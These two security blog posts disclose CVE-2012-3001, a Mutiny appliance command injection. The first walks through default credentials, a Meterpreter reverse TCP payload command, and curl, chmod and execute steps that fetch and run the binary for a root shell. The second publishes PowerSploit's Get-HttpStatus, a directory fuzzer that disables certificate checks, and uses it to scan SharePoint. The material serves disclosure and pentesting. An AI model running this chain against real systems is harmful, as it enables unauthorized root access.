Mutiny Command Injection and CVE-2012-3001

As with the last post, this post is further explanation of things that I briefly covered at BsidesLV earlier this year.  The disclosure process is still ongoing and slow for some things, but the U.S. CERT has been extremely helpful.  They definitely get better results than I did with any of the vendors and they recently disclosed CVE-2012-3001.

Mutiny Technologies network monitoring appliance is vulnerable to multiple command injection vulnerabilities once authenticated to the web application.  The default username is 'admin' and the default password is 'mutiny'.  Even if those were changed, there are simple ways to guess the password for the 'admin' account which I talked about in a previous post about command injection vulnerabilities.  When connecting to the appliance over HTTP you are presented with something like:

The vendor has already added a nice message reminding people to upgrade and even referenced some "linux vulnerability issues" which would be an interesting way of describing command injection vulnerabilities in their web application.  

In this example, we will log in with the admin account.  Once logged in, we can navigate to the "admin" tab located on the top right.

Next we will go to the "Network Configuration" tab and focus on the "Subnet Mask" field.

To confirm that command injection is possible, lets test by pinging our own address.

Success!  Lets take a look at how the post is formed when changes are made to the network configuration. 

Although the Mutiny appliance ships with a disabled firewall and SSH enabled, lets assume that the attacker has discovered this vulnerability externally or is pivoting through another compromised host.  Lets generate a Meterpreter reverse TCP binary, put it on our webserver and put up a listener.

msfpayload linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.14 LPORT=8443 R | msfencode -t elf > update

Next, we will have to see what is available on the appliance to download our binary. Unfortunately, wget isn't installed or isn't in the path since all we can tell is that it isn't working. However, Curl is installed so we can download our binary, change the permissions and execute it from the web interface.

curl -o /tmp/update http://192.168.1.15/update

chmod +x /tmp/update

/tmp/update

Now our binary has executed and we have our shell.  What context is the web application running as?

Root.

Please let me know if you have any questions, thanks for reading and sorry about the lack of PowerShell!

-Chris

***Update 3/24/13

Juan Vazquez wrote a Metasploit module to exploit this vulnerability. Check it out!

Scanning SharePoint with PowerShell

A few months ago, I published Get-HttpStatus - a PowerShell function that aides in generic directory and file fuzzing.  In order to get it added to PowerSploit, Matt suggested several improvements and eventually made a few of his own.  The function supports SSL and includes several dictionaries derived from other projects such as Nikto, Yokoso and SharepointURLbrute.  Without dictionaries, the function is pretty useless so a big thanks goes out to the developers of each of those tools and the hard work that went into creating the file and directory dictionaries.   

Lets take a look at one specific use-case for Get-HttpStatus - scanning a SharePoint installation.  We can start by opening PowerShell and copying and pasting the function into the shell.

Next we provide the function a target website and the path to the dictionary file.

In this example, there is an interesting directory and file that is accessible without credentials.  Lets check it out:

It appears that we may have the ability to increase permissions by adding users to different groups on the server.  That is definitely a security finding that could aid in a penetration test.  As with other scripts and functions that are added to the PowerSploit project, the maintained version is available on the github site.

Get-HttpStatus Functionfunction Get-HttpStatus { <# .SYNOPSIS PowerSploit Module - Get-HttpStatus Returns the HTTP Status Codes and full URL for specified paths. Author: Chris Campbell (@obscuresec) License: BSD 3-Clause .DESCRIPTION A script to check for the existence of a path or file on a webserver. .PARAMETER Target Specifies the remote web host either by IP or hostname. .PARAMETER Path Specifies the remost host. .PARAMETER Port Specifies the port to connect to. .PARAMETER UseSSL Use an SSL connection. .EXAMPLE PS > Get-HttpStatus -Target www.example.com -Path c:\dictionary.txt | Select-Object {where StatusCode -eq 20*} .EXAMPLE PS > Get-HttpStatus -Target www.example.com -Path c:\dictionary.txt -UseSSL .NOTES HTTP Codes: 100 - Informational * 200 - Success * 300 - Redirection * 400 - Client Error * 500 - Server Error Status Codes: http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html .LINK http://obscuresecurity.blogspot.com #> [CmdletBinding()] Param( [Parameter(Mandatory = $True)] [String] $Target, [Parameter()] [String] [ValidateNotNullOrEmpty()] $Path = '.\Dictionaries\admin.txt', [Parameter()] [Int] $Port, [Parameter()] [Switch] $UseSSL ) if (Test-Path $Path) { if ($UseSSL -and $Port -eq 0) { # Default to 443 if SSL is specified but no port is specified $Port = 443 } elseif ($Port -eq 0) { # Default to port 80 if no port is specified $Port = 80 } $TcpConnection = New-Object System.Net.Sockets.TcpClient Write-Verbose "Path Test Succeeded - Testing Connectivity" try { # Validate that the host is listening before scanning $TcpConnection.Connect($Target, $Port) } catch { Write-Error "Connection Test Failed - Check Target" $Tcpconnection.Close() Return } $Tcpconnection.Close() } else { Write-Error "Path Test Failed - Check Dictionary Path" Return } if ($UseSSL) { $SSL = 's' # Ignore invalid SSL certificates [System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $True } } else { $SSL = '' } if (($Port -eq 80) -or ($Port -eq 443)) { $PortNum = '' } else { $PortNum = ":$Port" } # Check Http status for each entry in the doctionary file foreach ($Item in Get-Content $Path) { $WebTarget = "http$($SSL)://$($Target)$($PortNum)/$($Item)" $URI = New-Object Uri($WebTarget) try { $WebRequest = [System.Net.WebRequest]::Create($URI) $WebResponse = $WebRequest.GetResponse() $WebStatus = $WebResponse.StatusCode $ResultObject += $ScanObject $WebResponse.Close() } catch { $WebStatus = $Error[0].Exception.InnerException.Response.StatusCode if ($WebStatus -eq $null) { # Not every exception returns a StatusCode. # If that is the case, return the Status. $WebStatus = $Error[0].Exception.InnerException.Status } } $Result = @{ Status = $WebStatus; URL = $WebTarget} $ScanObject = New-Object -TypeName PSObject -Property $Result Write-Output $ScanObject } } 

Please check out the other dictionaries and let me know if you see any other use cases for this script.  Thanks for checking this out and if you haven't bought your DerbyCon tickets yet, you should do so! If you are interested in PowerShell and security, Carlos Perez is teaching one of the first courses on the topic: "Introduction to PowerShell for Security Professionals" at this year's DerbyCon so sign up for it.  I can't wait!

-Chris